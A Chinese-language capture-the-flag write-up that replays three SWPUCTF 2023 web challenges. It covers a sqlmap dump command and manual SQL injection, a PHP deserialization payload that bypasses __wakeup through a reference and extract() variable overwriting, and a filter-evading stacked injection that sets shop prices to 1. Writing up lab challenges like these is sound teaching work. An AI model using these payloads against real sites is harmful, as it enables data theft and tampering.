[SWPUCTF 2023 秋季新生赛] WEB 部分题目复现
之前的几道题都不难 很基础 复现一下没做出来的
查查need
源码提示万能密码,然后给了一个excel表格,当时也进行了FUZZ测试 但没有在学号那里进行fuzz测试导致后边没做出来 以为就是输入个万能密码 ,然后对名字进行爆破,但不知道学号是个啥 以为随便输 只能说sqli经验太少了 我们开始复现
1.kali一键启动 sqlmap一把梭
首先抓包改为sql.txt文件
然后一把锁(flag在grade里)
sqlmap -r "sql.txt" -D school -T students -C grade --dump
2.手动注入
在学号输入1”发现注入点
且闭合点就为”
使用万能密钥居然得出了该学生的成绩
那么flag就藏在某个学生里面了 直接把他的学生名单作为1.txt 直接bp爆破名字就行
得到付赖格
backup
这道题提示了备份文件泄露 我们直接dirsearch扫描得到了一个www.zip文件 得到源码
<?php
error_reporting(0);
require_once("flag.php");
class popmart{
public $yuki;
public $molly;
public $dimoo;
public function __construct(){
$this->yuki='tell me where';
$this->molly='dont_tell_you';
$this->dimoo="you_can_guess";
}
public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;
if($this->molly === $this->yuki){
echo $flag;
}
}
}
$pucky = $_GET['wq'];
if(isset($pucky)){
if($pucky==="二仙桥"){
extract($_POST);
if($pucky==="二仙桥"){
die("<script>window.alert('说说看,你要去哪??');</script>");
}
unserialize($pucky);
}
}
代码审计:代码很简单 就是找出口
值相等就能获得flag 但wakeup魔术方法已经给yuki赋值 所以就要绕过wakeup(),直接采用引用绕过就行了
代码:
<?php
class popmart{
public $yuki;
public $molly;
public $dimoo;
}
$a=new popmart();
$a->molly=&$a->yuki;
echo serialize($a);
Payload:O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
然后就是上传的时候有两个if语句,第一个成立,第二个不成立。由于GET和POST传同一个参数没有先后顺序
我们采用变量覆盖就行了(当时就是这里没搞懂传参 看来变量覆盖这里要好好看一下)
Payload:
GET:?wq=二仙桥
POST:pucky=O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
得到flag
NSS大卖场
当时感觉跟jwt有关 然后做了好久没醉出来,但有人提示说是堆叠注入 然后看了wp之后也确实如此
都谈到了jwt了 都给个在线jwt 解码
回到本题
hint里面有个数据库备份 其实这里的时候就的考虑到本题可能是注入 但找不到注入点 然后看了wp才发现注入点居然这样子
先分析一下备份文件
可知items表存的是这些物品,price字段为价格 然后就是找注入点 我们随便购买一个抓包得到URL
注入点就是为这个1,然后测试发现普通的联合注入和报错也不是 sqlmap也跑不出 这时候就涉及到了堆叠注入了
我们测试:1';UPDATE items SET price=1;#
得到
过滤了UPDATE和空格,采用编码绕过和大小写绕过
Payload:
/buy/1';UPdATE%09items%09SeT%09price=1;#
这里也就是把价格都设置为1 了 items是由上边hint里面的备份文件得到的
购买FLAG并前往背包查看即可
本题参考 Krimy师傅的题解